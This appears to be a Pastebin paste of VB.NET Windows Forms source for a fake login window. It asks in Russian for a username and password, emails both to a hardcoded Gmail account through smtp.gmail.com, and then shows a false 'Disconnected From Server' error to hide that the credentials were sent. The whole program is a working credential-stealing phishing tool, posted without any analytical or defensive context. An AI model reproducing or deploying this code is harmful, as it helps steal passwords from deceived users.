Advertisement
Guest User

Untitled

a guest
Jul 19th, 2017
69
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.19 KB | None | 0 0
  1. Imports System.Net.Mail
  2.  
  3. Public Class Form1
  4.  
  5. Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
  6. If TextBox1.Text = "" Then
  7. MsgBox("Введите логин")
  8. If TextBox2.Text = "" Then
  9. MsgBox("Введите пароль")
  10. Else
  11. End If
  12. End If
  13. Dim smtpServer As New SmtpClient()
  14. Dim mail As New MailMessage()
  15. smtpServer.Credentials = New Net.NetworkCredential("gmail", "Пароль")
  16. 'using gmail
  17. smtpServer.Port = 587
  18. smtpServer.Host = "smtp.gmail.com"
  19. smtpServer.EnableSsl = True
  20. mail = New MailMessage()
  21. mail.From = New MailAddress("gmail")
  22. mail.To.Add("gmail")
  23. mail.Subject = "Username: " & TextBox1.Text
  24. mail.Body = "Username : " & TextBox1.Text & ", " & "Password : " & TextBox2.Text
  25. smtpServer.Send(mail)
  26. MsgBox("Disconnected From Server, Please try again later!")
  27. End Sub
  28.  
  29. Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
  30. End
  31. End Sub
  32. End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement